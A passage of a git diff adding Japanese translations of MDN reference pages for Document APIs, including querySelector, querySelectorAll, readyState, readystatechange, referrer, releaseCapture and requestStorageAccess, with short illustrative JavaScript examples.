id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2> + +<div> +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.adoptNode")}}</p> +</div> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li>{{domxref("Document.execCommand()")}}</li> + <li>{{domxref("Document.queryCommandEnabled()")}}</li> +</ul> diff --git a/files/ja/web/api/document/queryselector/index.html b/files/ja/web/api/document/queryselector/index.html new file mode 100644 index 0000000000..18e434ea4b --- /dev/null +++ b/files/ja/web/api/document/queryselector/index.html @@ -0,0 +1,135 @@ +--- +title: Document.querySelector() +slug: Web/API/Document/querySelector +tags: + - API + - CSS セレクター + - DOM + - DOM 要素 + - Document + - Reference + - querySelector + - セレクター + - メソッド +translation_of: Web/API/Document/querySelector +--- +<div>{{ApiRef("DOM")}}</div> + +<p>{{domxref("Document")}} の <code><strong>querySelector()</strong></code> メソッドは、指定されたセレクターまたはセレクターのグループに一致する、文書内の最初の {{domxref("Element")}} を返します。一致するものが見つからない場合は <code>null</code> を返します。</p> + +<div class="note"> +<p><strong>メモ</strong>: 比較処理は、文書マークアップにおける最初の要素を経由して文書ノードの<ruby>深さ優先前順走査<rp> (</rp><rt>depth-first pre-order traversal</rt><rp>) </rp></ruby>を使用して実行され、子ノードのカウント順で順次ノードを反復して行われます。</p> +</div> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre class="syntaxbox notranslate"><var>element</var> = document.querySelector(<var>selectors</var>); +</pre> + +<h3 id="Parameters" name="Parameters">引数</h3> + +<dl> + <dt><var>selectors</var></dt> + <dd>1 つまたは複数のセレクターを含む {{domxref("DOMString")}}。この文字列は妥当な CSS セレクターでなければならず、そうでない場合は <code>SYNTAX_ERR</code> が投げられます。セレクターとその管理の方法の詳細について、<a href="/ja/docs/Web/API/Document_object_model/Locating_DOM_elements_using_selectors">セレクターを使用した DOM 要素の指定</a>を参照してください。</dd> +</dl> + +<div class="note"> +<p><strong>メモ:</strong> 標準の CSS 構文の一部ではない文字は、バックスラッシュ文字を使ってエスケープしなければなりません。JavaScript でもバックスラッシュのエスケープが使われているため、これらの文字を使った文字列リテラルを記述する際は、特に注意する必要があります。詳細は{{anch("Escaping special characters", "特殊文字のエスケープ")}}を参照してください。</p> +</div> + +<h3 id="Return_value" name="Return_value">返値</h3> + +<p>文書内で指定された <a href="/ja/docs/Web/CSS/CSS_Selectors">CSS セレクター</a>に最初に一致する要素を示す {{domxref("HTMLElement")}} オブジェクト、もしくは、一致する要素がない場合は <code>null</code> を返します。</p> + +<p>指定されたセレクターに一致するすべての要素のリストが必要な場合は、代わりに {{domxref("Document.querySelectorAll", "querySelectorAll()")}} を使用してください。</p> + +<h3 id="Exceptions" name="Exceptions">例外</h3> + +<dl> + <dt><code>SYNTAX_ERR</code></dt> + <dd>指定された <var>selectors</var> の構文が妥当ではない。</dd> +</dl> + +<h2 id="Usage_notes" name="Usage_notes">使用上のメモ</h2> + +<p>指定されたセレクターが、誤って文書内で複数回使われている ID に一致する場合は、その ID を持つ最初の要素が返されます。</p> + +<p><a href="/ja/docs/Web/CSS/Pseudo-elements">CSS 擬似要素</a>は <a href="http://www.w3.org/TR/selectors-api/#grammar">Selectors API</a> で策定されている通り、何も要素を返しません。</p> + +<h3 id="Escaping_special_characters" name="Escaping_special_characters">特殊文字のエスケープ</h3> + +<p>標準の CSS の構文に従っていない ID やセレクター (例えば、コロンやスペースを不適切に使用しているもの) で一致させるためには、バックスラッシュ ("<code>\</code>") でその文字をエスケープしなければなりません。バックスラッシュは JavaScript のエスケープ文字でもあるので、文字列リテラルを入力する場合、それを <em>2 回</em>エスケープする必要があります (1 回目は JavaScript の文字列のため、2 回目は <code>querySelector()</code> のため)。</p> + +<pre class="brush: html notranslate"><div id="foo\bar"></div> +<div id="foo:bar"></div> + +<script> + console.log('#foo\bar'); // "#fooar" (\b はバックスペース制御文字) + document.querySelector('#foo\bar'); // いずれにも一致しない + + console.log('#foo\\bar'); // "#foo\bar" + console.log('#foo\\\\bar'); // "#foo\\bar" + document.querySelector('#foo\\\\bar'); // 最初の div に一致する + + document.querySelector('#foo:bar'); // いずれにも一致しない + document.querySelector('#foo\\:bar'); // 2番目の div に一致する +</script></pre> + +<h2 id="Example" name="Example">例</h2> + +<h3 id="Finding_the_first_element_matching_a_class" name="Finding_the_first_element_matching_a_class">あるクラスに一致する最初の要素を探索する</h3> + +<p>次の例は、クラス "<code>myclass</code>" を持つ文書内の要素の内、最初のものを返します。</p> + +<pre class="brush: js notranslate">var el = document.querySelector(".myclass"); +</pre> + +<h3 id="A_more_complex_selector" name="A_more_complex_selector">より複雑なセレクター</h3> + +<p>セレクターは、次の例で示しているように、実に力強いものになり得ます。ここでは、文書内でクラスが "user-panel main" である {{HTMLElement("div")}} (<code><div class="user-panel main"></code>) の中にある、"login" という名前を持つ最初の {{HTMLElement("input")}} 要素 (<code><input name="login"/></code>) が返されます。</p> + +<pre class="brush: js notranslate">var el = document.querySelector("div.user-panel.main input[name='login']"); +</pre> + +<h3 id="Negation" name="Negation">否定</h3> + +<p>すべての CSS セレクター文字列が正しい場合、セレクターを否定することもできます。</p> + +<pre class="brush: js notranslate">var el = document.querySelector("div.user-panel:not(.main) input[name='login']");</pre> + +<p>これで、input 要素のうち親に <code>user-panel</code> クラスのついた div があるものの、<code>main</code> クラスがないものを 1 つ選択します。</p> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName("DOM WHATWG", "#dom-parentnode-queryselector", "document.querySelector()")}}</td> + <td>{{Spec2("DOM WHATWG")}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、<a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<div>{{Compat("api.Document.querySelector")}}</div> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li><a href="/ja/docs/Web/API/Document_object_model/Locating_DOM_elements_using_selectors">セレクターを使用した DOM 要素の指定</a></li> + <li>{{domxref("Element.querySelector()")}}</li> + <li>{{domxref("Document.querySelectorAll()")}}</li> + <li>{{domxref("Element.querySelectorAll()")}}</li> + <li><a href="/ja/docs/Code_snippets/QuerySelector">querySelector のコードスニペット</a></li> +</ul> diff --git a/files/ja/web/api/document/queryselectorall/index.html b/files/ja/web/api/document/queryselectorall/index.html new file mode 100644 index 0000000000..204f56f055 --- /dev/null +++ b/files/ja/web/api/document/queryselectorall/index.html @@ -0,0 +1,180 @@ +--- +title: Document.querySelectorAll() +slug: Web/API/Document/querySelectorAll +tags: + - API + - CSS Selectors + - DOM + - Document + - Finding Elements + - Locating Elements + - Method + - Reference + - Searching Elements + - Selecting Elements + - Selectors + - querySelectorAll + - メソッド +translation_of: Web/API/Document/querySelectorAll +--- +<div>{{APIRef("DOM")}}</div> + +<p>{{domxref("Document")}} の <code><strong>querySelectorAll()</strong></code> メソッドは、与えられた CSS セレクターに一致する文書中の要素のリストを示す静的な (生きていない) {{domxref("NodeList")}} を返します。</p> + +<div class="note"> +<p><strong>メモ:</strong> このメソッドは {{domxref("ParentNode")}} ミックスインの {{domxref("ParentNode.querySelectorAll", "querySelectorAll()")}} メソッドを元に実装されています。</p> +</div> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre class="syntaxbox"><var>elementList</var> = <em>parentNode</em>.querySelectorAll(<var>selectors</var>); +</pre> + +<h3 id="Parameters" name="Parameters">引数</h3> + +<dl> + <dt><code>selectors</code></dt> + <dd>マッチのための 1 つまたは複数のセレクターを含む {{domxref("DOMString")}}。この文字列は妥当な <a href="/ja/docs/Web/CSS/CSS_Selectors">CSS セレクター</a>でなければならず、そうでない場合は <code>SyntaxError</code> 例外がスローされます。セレクターの仕様と要素の識別の詳細は、<a href="/ja/docs/Web/API/Document_object_model/Locating_DOM_elements_using_selectors">セレクターを使用した DOM 要素の指定</a>を参照してください。複数のセレクターを指定する際は、カンマで区切ります。</dd> +</dl> + +<div class="note"> +<p><strong>メモ:</strong> 標準の CSS 構文の一部ではない文字は、バックスラッシュ文字を使ってエスケープしなければなりません。 JavaScript でもバックスラッシュによるエスケープが使われているため、これらの文字を使った文字列リテラルを記述する際は、特に注意する必要があります。詳細は {{anch("Escaping special characters")}} を参照してください。</p> +</div> + +<h3 id="Return_value" name="Return_value">返値</h3> + +<p>指定されたセレクターの少なくとも一つに一致する要素ごとに {{domxref("Element")}} を一つずつ含む、生きていない {{domxref("NodeList")}}、または一致するものがなければ空の {{domxref("NodeList")}} です。</p> + +<div class="note"> +<p><strong>メモ:</strong> 指定された <code>selectors</code> が <a href="/ja/docs/Web/CSS/Pseudo-elements">CSS 擬似要素</a>を含む場合、返されるリストは常に空になります。</p> +</div> + +<h3 id="Exceptions" name="Exceptions">例外</h3> + +<dl> + <dt><code>SyntaxError</code></dt> + <dd>指定された <code>selectors</code> の構文が妥当ではない。</dd> +</dl> + +<h2 id="Examples" name="Examples">例</h2> + +<h3 id="Obtaining_a_list_of_matches" name="Obtaining_a_list_of_matches">一致のリストの入手</h3> + +<p>文書内のすべての {{HTMLElement("p")}} 要素の {{domxref("NodeList")}} を入手します。</p> + +<pre class="brush: js">var matches = document.querySelectorAll("p");</pre> + +<p>次の例では、文書内にある <code>note</code> または <code>alert</code> のいずれかのクラスを持つ、すべての {{HTMLElement("div")}} 要素のリストを返します。</p> + +<pre class="brush: js">var matches = document.querySelectorAll("div.note, div.alert"); +</pre> + +<p>次に、 <code>test</code> という ID を持つコンテナ内に位置し、直接の親要素が <code>highlighted</code> クラスを持つ {{HTMLElement("div")}} である、<code><p></code> 要素のリストを取得します。</p> + +<pre class="brush: js">var container = document.querySelector("#test"); +var matches = container.querySelectorAll("div.highlighted > p");</pre> + +<p>次の例では<a href="/ja/docs/Web/CSS/Attribute_selectors">属性セレクター</a>を使用しており、 <code>data-src</code> という名前の属性を持つ、文書内の {{HTMLElement("iframe")}} 要素のリストを返します。</p> + +<pre class="brush: js">var matches = document.querySelectorAll("iframe[data-src]");</pre> + +<p>次の例では、ID が <code>"userlist"</code> の要素の中にあり、<code>"data-active"</code> 属性を持ち、その値が <code>"1"</code> であるリスト項目のリストを返すため、属性セレクターが使用されています。</p> + +<pre class="brush: js">var container = document.querySelector("#userlist"); +var matches = container.querySelectorAll("li[data-active='1']");</pre> + +<h3 id="Accessing_the_matches" name="Accessing_the_matches">一致したリストへのアクセス</h3> + +<p>一旦、一致した要素の {{domxref("NodeList")}} が返されると、それをちょうど配列のように試すことができます。配列が空である (<code>length</code> プロパティが 0 である) 場合は、一致がなかったということです。</p> + +<p>それ以外の場合は、単純に標準の配列表記を使って、リストの内容にアクセスすることができます。次のように、任意の一般的なループ処理を使うことができます。</p> + +<pre class="brush: js">var highlightedItems = userList.querySelectorAll(".highlighted"); + +highlightedItems.forEach(function(userItem) { + deleteUser(userItem); +});</pre> + +<h2 id="User_notes" name="User_notes">ユーザーのメモ</h2> + +<p>querySelectorAll() は、最も一般的な JavaScript DOM ライブラリと異なる動作を持ち、意図しない結果をもたらすことがあります。</p> + +<h3 id="HTML">HTML</h3> + +<p>次の、入れ子になった 3 つの {{HTMLElement("div")}} ブロックを持つ HTML について検討します。</p> + +<pre class="brush: html"><div class="outer"> + <div class="select"> + <div class="inner"> + </div> + </div> +</div></pre> + +<h3 id="JavaScript">JavaScript</h3> + +<pre class="brush: js">var select = document.querySelector('.select'); +var inner = select.querySelectorAll('.outer .inner'); +inner.length; // 1 です。0 ではありません! +</pre> + +<p>この例では、<code>"select"</code> class を持つ <code><div></code> の文脈で <code>".outer .inner"</code> を選択するとき、<code>.outer</code> が基準となる要素（<code>.select</code> で検索される）の子孫ではないにもかかわらず、<code>".inner"</code> class を持つ要素が見つけられています。<code>querySelectorAll()</code> はデフォルトでは、セレクターの最後の要素が検索スコープに含まれているかどうかのみ検証します。</p> + +<p>{{cssxref(":scope")}} 擬似クラスを使うと、基準となる要素の子孫だけが一致するようになり、期待される挙動を取り戻すことができます。</p> + +<pre class="brush: js">var select = document.querySelector('.select'); +var inner = select.querySelectorAll(':scope .outer .inner'); +inner.length; // 0 +</pre> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName("DOM WHATWG", "#dom-parentnode-queryselectorall", "ParentNode.querySelectorAll()")}}</td> + <td>{{Spec2("DOM WHATWG")}}</td> + <td>Living standard</td> + </tr> + <tr> + <td>{{SpecName("Selectors API Level 2", "#dom-parentnode-queryselectorall", "ParentNode.querySelectorAll()")}}</td> + <td>{{Spec2("Selectors API Level 2")}}</td> + <td>変更なし</td> + </tr> + <tr> + <td>{{SpecName("DOM4", "#dom-parentnode-queryselectorall", "ParentNode.querySelectorAll()")}}</td> + <td>{{Spec2("DOM4")}}</td> + <td>初回定義</td> + </tr> + <tr> + <td>{{SpecName("Selectors API Level 1", "#interface-definitions", "document.querySelector()")}}</td> + <td>{{Spec2("Selectors API Level 1")}}</td> + <td>独自の定義</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2> + +<p class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</p> + +<p>{{Compat("api.Document.querySelectorAll")}}</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li><a href="/ja/docs/Web/API/Document_object_model/Locating_DOM_elements_using_selectors">セレクターを使用した DOM 要素の指定</a></li> + <li>CSS ガイドの<a href="/ja/docs/Web/CSS/Attribute_selectors">属性セレクター</a></li> + <li>MDN 学習エリアの<a href="/ja/docs/Learn/CSS/Introduction_to_CSS/Attribute_selectors">属性セレクター</a></li> + <li>{{domxref("Element.querySelector()")}} および {{domxref("Element.querySelectorAll()")}}</li> + <li>{{domxref("Document.querySelector()")}}</li> + <li>{{domxref("DocumentFragment.querySelector()")}} および {{domxref("DocumentFragment.querySelectorAll()")}}</li> + <li>{{domxref("ParentNode.querySelector()")}} および {{domxref("ParentNode.querySelectorAll()")}}</li> + <li><a href="/ja/docs/Code_snippets/QuerySelector"><code>querySelector()</code> のコードスニペット</a></li> +</ul> diff --git a/files/ja/web/api/document/readystate/index.html b/files/ja/web/api/document/readystate/index.html new file mode 100644 index 0000000000..17d296e7df --- /dev/null +++ b/files/ja/web/api/document/readystate/index.html @@ -0,0 +1,133 @@ +--- +title: Document.readyState +slug: Web/API/Document/readyState +tags: + - API + - DOM + - Document + - HTML DOM + - Reference + - readyState + - プロパティ +translation_of: Web/API/Document/readyState +--- +<div>{{APIRef("DOM")}}{{gecko_minversion_header("1.9.2")}}</div> + +<p><strong><code>Document.readyState</code></strong> プロパティは、その{{domxref("document", "文書")}}の読み込み状態を示します。</p> + +<p>このプロパティの値が変化するとき、{{event("readystatechange")}} イベントが {{domxref("document")}} オブジェクト上で発生します。</p> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre class="syntaxbox notranslate">var <var>string</var> = <var>document</var>.readyState; +</pre> + +<h3 id="Values" name="Values">値</h3> + +<p>文書の <code>readyState</code> は次のうちの一つになります。</p> + +<dl> + <dt><code>loading</code></dt> + <dd>この文書はまだ読み込み中です。</dd> + <dt><code>interactive</code></dt> + <dd>この文書は読み込みが終わり、解析が済みましたが、画像、スタイルシート、フレームなどの副リソースはまだ読み込み中です。</dd> + <dt><code>complete</code></dt> + <dd>この文書とすべての副リソースの読み込みが終わっています。この状態は {{event("load")}} イベントがもうすぐ発火することを示します。</dd> +</dl> + +<h2 id="Examples" name="Examples">例</h2> + +<h3 id="Different_states_of_readiness" name="Different_states_of_readiness">Different states of readiness</h3> + +<pre class="brush: js notranslate">switch (document.readyState) { + case "loading": + // この文書はまだ読み込み中。 + break; + case "interactive": + // この文書は読み込みが終了した。DOM 要素にアクセスできるようになった。 + // しかし、画像、スタイルシート、フレームなどの副リソースはまだ読み込み中。 + var span = document.createElement("span"); + span.textContent = "A <span> element."; + document.body.appendChild(span); + break; + case "complete": + // ページが完全に読み込み完了。 + console.log("最初の CSS 規則: " + document.styleSheets[0].cssRules[0].cssText); + break; +} +</pre> + +<h3 id="readystatechange_as_an_alternative_to_DOMContentLoaded_event" name="readystatechange_as_an_alternative_to_DOMContentLoaded_event">readystatechange を DOMContentLoaded イベントの代替とする</h3> + +<pre class="brush: js notranslate">// DOMContentLoaded イベントの代替 +document.onreadystatechange = function () { + if (document.readyState === 'interactive') { + initApplication(); + } +} +</pre> + +<h3 id="readystatechange_as_an_alternative_to_load_event" name="readystatechange_as_an_alternative_to_load_event">readystatechange を load イベントの代替とする</h3> + +<pre class="brush: js notranslate">// load イベントの代替 +document.onreadystatechange = function () { + if (document.readyState === 'complete') { + initApplication(); + } +}</pre> + +<h3 id="readystatechange_as_event_listener_to_insert_or_modify_the_DOM_before_DOMContentLoaded" name="readystatechange_as_event_listener_to_insert_or_modify_the_DOM_before_DOMContentLoaded">readystatechange を DOM の挿入や変更のイベントリスナーとして DOMContentLoaded の前に使用</h3> + +<pre class="brush: js notranslate">document.addEventListener('readystatechange', event => { + if (event.target.readyState === 'interactive') { + initLoader(); + } + else if (event.target.readyState === 'complete') { + initApp(); + } +}); + +</pre> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="spectable standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName("HTML WHATWG", "#current-document-readiness", "Document readiness")}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td></td> + </tr> + <tr> + <td>{{SpecName("HTML5.1", "#current-document-readiness", "Document readiness")}}</td> + <td>{{Spec2('HTML5.1')}}</td> + <td></td> + </tr> + <tr> + <td>{{SpecName("HTML5 W3C", "#current-document-readiness", "Document readiness")}}</td> + <td>{{Spec2('HTML5 W3C')}}</td> + <td>初回定義</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの対応</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、<a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<div>{{Compat("api.Document.readyState")}}</div> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li>{{event("readystatechange")}} イベント</li> + <li>{{event("DOMContentLoaded")}} イベント</li> + <li>{{event("load")}} イベント</li> +</ul> diff --git a/files/ja/web/api/document/readystatechange_event/index.html b/files/ja/web/api/document/readystatechange_event/index.html new file mode 100644 index 0000000000..a9dbe6074d --- /dev/null +++ b/files/ja/web/api/document/readystatechange_event/index.html @@ -0,0 +1,144 @@ +--- +title: 'Document: readystatechange イベント' +slug: Web/API/Document/readystatechange_event +tags: + - Event + - Reference + - XMLHttpRequest + - interactive +translation_of: Web/API/Document/readystatechange_event +--- +<div>{{APIRef}}</div> + +<p><strong><code>readystatechange</code></strong> eventは、文書の {{domxref("Document.readyState", "readyState")}} 属性が変化したときに発生します。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">バブリング</th> + <td>なし</td> + </tr> + <tr> + <th scope="row">キャンセル</th> + <td>不可</td> + </tr> + <tr> + <th scope="row">インターフェイス</th> + <td>{{domxref("Event")}}</td> + </tr> + <tr> + <th scope="row">イベントハンドラープロパティ</th> + <td><code>onreadystatechange</code></td> + </tr> + </tbody> +</table> + +<h2 id="Examples" name="Examples">例</h2> + +<h3 id="Live_example" name="Live_example">ライブデモ</h3> + +<h4 id="HTML">HTML</h4> + +<pre class="brush: html"><div class="controls"> + <button id="reload" type="button">Reload</button> +</div> + +<div class="event-log"> + <label>Event log:</label> + <textarea readonly class="event-log-contents" rows="8" cols="30"></textarea> +</div></pre> + +<div class="hidden"> +<h4 id="CSS">CSS</h4> + +<pre class="brush: css">body { + display: grid; + grid-template-areas: "control log"; +} + +.controls { + grid-area: control; + display: flex; + align-items: center; + justify-content: center; +} + +.event-log { + grid-area: log; +} + +.event-log-contents { + resize: none; +} + +label, button { + display: block; +} + +#reload { + height: 2rem; +} + +</pre> +</div> + +<h4 id="JS">JS</h4> + +<pre class="brush: js">const log = document.querySelector('.event-log-contents'); +const reload = document.querySelector('#reload'); + +reload.addEventListener('click', () => { + log.textContent =''; + window.setTimeout(() => { + window.location.reload(true); + }, 200); +}); + +window.addEventListener('load', (event) => { + log.textContent = log.textContent + 'load\n'; +}); + +document.addEventListener('readystatechange', (event) => { + log.textContent = log.textContent + `readystate: ${document.readyState}\n`; +}); + +document.addEventListener('DOMContentLoaded', (event) => { + log.textContent = log.textContent + `DOMContentLoaded\n`; +}); + +</pre> + +<h4 id="Result" name="Result">結果</h4> + +<p>{{ EmbedLiveSample('Live_example', '100%', '160px') }}</p> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName("HTML WHATWG", "indices.html#event-readystatechange", "readystatechange")}}</td> + <td>{{Spec2("HTML WHATWG")}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.readystatechange_event")}}</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li>関連イベント: {{domxref("Document/DOMContentLoaded_event", "DOMContentLoaded")}}, {{domxref("Window/load_event", "load")}}, {{domxref("Window/beforeunload_event", "beforeunload")}}, {{domxref("Window/unload_event", "unload")}}</li> +</ul> diff --git a/files/ja/web/api/document/referrer/index.html b/files/ja/web/api/document/referrer/index.html new file mode 100644 index 0000000000..5abb4e3ddf --- /dev/null +++ b/files/ja/web/api/document/referrer/index.html @@ -0,0 +1,52 @@ +--- +title: Document.referrer +slug: Web/API/Document/referrer +tags: + - API + - Document + - HTML DOM + - Property + - Reference + - referrer + - プロパティ +translation_of: Web/API/Document/referrer +--- +<div>{{APIRef("DOM")}}</div> + +<p><strong><code>Document.referrer</code></strong> プロパティは、このページへリンクしていたページの <a href="http://www.w3.org/Addressing/#background">URI</a> を返します。</p> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre class="syntaxbox notranslate">var <var>referrer</var> = <var>document</var>.referrer; +</pre> + +<h3 id="Value" name="Value">値</h3> + +<p>この値は、ユーザーが (リンクではなく、例えばブックマークから) ページに直接移動した場合は空文字列になります。プロパティはただ文字列を返すものであるため、参照先のページの DOM アクセスを提供するものではありません。</p> + +<p>{{HTMLElement("iframe")}} の中では、 <code>Document.referrer</code> は最初、親ウィンドウの {{domxref("Window/location", "Window.location")}} の {{domxref("HTMLHyperlinkElementUtils/href", "href")}} と同じ値が設定されます。</p> + +<h2 id="Specification" name="Specification">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('HTML WHATWG', '#dom-document-referrer-dev', 'document.referrer')}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<div>{{Compat("api.Document.referrer")}}</div> diff --git a/files/ja/web/api/document/releasecapture/index.html b/files/ja/web/api/document/releasecapture/index.html new file mode 100644 index 0000000000..00ee37c86d --- /dev/null +++ b/files/ja/web/api/document/releasecapture/index.html @@ -0,0 +1,42 @@ +--- +title: Document.releaseCapture() +slug: Web/API/Document/releaseCapture +tags: + - API + - DOM + - Document + - Reference + - releaseCapture + - メソッド +translation_of: Web/API/Document/releaseCapture +--- +<div>{{ApiRef("DOM")}}{{gecko_minversion_header("2.0")}}</div> + +<p><strong><code>releaseCapture()</code></strong> メソッドは、この文書内の要素で現在有効になっているマウスキャプチャを解放します。要素におけるマウスキャプチャの有効化は {{domxref("element.setCapture()")}} を呼び出すことで実行できます。</p> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre class="syntaxbox"><var>document</var>.releaseCapture(); +</pre> + +<p>マウスキャプチャが解放されると、マウスイベントはキャプチャが有効になっていた要素にすべては来なくなります。</p> + +<h2 id="Example" name="Example">例</h2> + +<p>{{domxref("element.setCapture()")}} の<a href="/ja/docs/Web/API/element.setCapture#Example">例</a>をご覧ください。</p> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<p>Internet Explorer の実装に基づく。</p> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの対応</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<div>{{Compat("api.Document.releaseCapture")}}</div> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li>{{domxref("element.setCapture()")}}</li> +</ul> diff --git a/files/ja/web/api/document/requeststorageaccess/index.html b/files/ja/web/api/document/requeststorageaccess/index.html new file mode 100644 index 0000000000..6cc401f39f --- /dev/null +++ b/files/ja/web/api/document/requeststorageaccess/index.html @@ -0,0 +1,130 @@ +--- +title: Document.requestStorageAccess() +slug: Web/API/Document/requestStorageAccess +tags: + - API + - DOM + - Document + - Experimental + - Reference + - Storage Access API + - requestStorageAccess + - メソッド +translation_of: Web/API/Document/requestStorageAccess +--- +<div>{{APIRef}}</div> + +<p><strong><code>requestStorageAccess()</code></strong> は {{domxref("Document")}} インターフェイスのメソッドで、ファーストパーティのストレージへのアクセスが許可されたら解決し、アクセスが拒否されたら拒絶される {{jsxref("Promise")}} を返します。</p> + +<h2 id="Conditions_for_granting_storage_access" name="Conditions_for_granting_storage_access">ストレージへのアクセスが許可される条件</h2> + +<p>ストレージへのアクセスは、以下の一連のチェックに基づいて許可されます。</p> + +<ol> + <li>文書がすでにアクセスを許可されていれば、解決。</li> + <li>文書が null オリジンを持っていれば、拒絶。</li> + <li>文書のフレームが主フレームであれば、解決。</li> + <li>副フレームのオリジンが主フレームのものと同じであれば、解決。</li> + <li>副フレームがサンドボックス化されていなければ、7へ飛ぶ。</li> + <li>副フレームにトークン <code>allow-storage-access-by-user-activation</code> がなければ、拒絶。</li> + <li>副フレームの親フレームが最上位フレームでなければ、拒絶。</li> + <li>ブラウザーがユーザージェスチャーを処理中でなければ、拒絶。</li> + <li>ブラウザーが持っている追加の規則をチェック。例えば、ホワイトリスト、ブラックリスト、端末上の分類、ユーザー設定、クリックジャック防止の推測、ユーザーへの明示的なパーミッションの確認など。いくつかの規則が満たされていなければ、拒絶。</li> + <li>文書にクッキーやその他のサイトストレージへのアクセスを許可し、将来の {{domxref("Document.hasStorageAccess()")}} および <code>requestStorageAccess()</code> の呼び出しのためにその事実を保存。</li> +</ol> + +<p>上記のすべての要件が満たされていると仮定すると、Firefox は、ユーザーセッション存続期間の最大24時間で、現在のセッションのファーストパーティのオリジンのしきい値数まで、要求オリジンへのストレージアクセスを自動的に許可します。 要求オリジンがストレージアクセス許可の最大許容数を超えた後、同じ閲覧セッション中に <code>requestStorageAccess()</code> を呼び出すと、ユーザーにプロンプトします。</p> + +<p>オリジンが取得できる同時ストレージアクセス許可の最大数は、現在のセッションでアクセスされた最上位オリジンの数の 1% または 5 のいずれか大きい方として現在定義されている正の整数です。 しきい値は eTLD+1 のレベルで適用されるため、例えば、<code>foo.example.com</code> と <code>bar.example.com</code> に対する2つのストレージアクセス許可は、制限に対する単一の例外としてのみカウントされます。</p> + +<p><code>requestStorageAccess()</code> 呼び出しの時点で、要求オリジンがストレージアクセスを持っている場合...</p> + +<p>...最大値より少ないオリジン:</p> + +<ul> + <li>ユーザーにプロンプトしません。</li> + <li>オリジンには、現在の最上位オリジンに対する一時的なストレージアクセス許可が与えられます。</li> + <li>要求オリジンのストレージにアクセスできるオリジンの数は、1ずつ増加します。 + <ul> + <li>この数は、<a href="/ja/docs/Mozilla/Firefox/Privacy/Storage_access_policy#Automatic_storage_access_upon_interaction">互換性ヒューリスティック</a>によって自動アクセス許可が与えられたときにも増加することに注意してください。</li> + </ul> + </li> + <li>一時ストレージアクセス許可は次のとおりです。 + <ul> + <li>ブラウザーセッションの終了時に無効になります。</li> + <li>ディスクに永続化されません（例えば、ブラウザーがクラッシュすると持続しません）。</li> + <li>長時間のブラウザーセッションの場合は、24時間後にリセットします。</li> + </ul> + 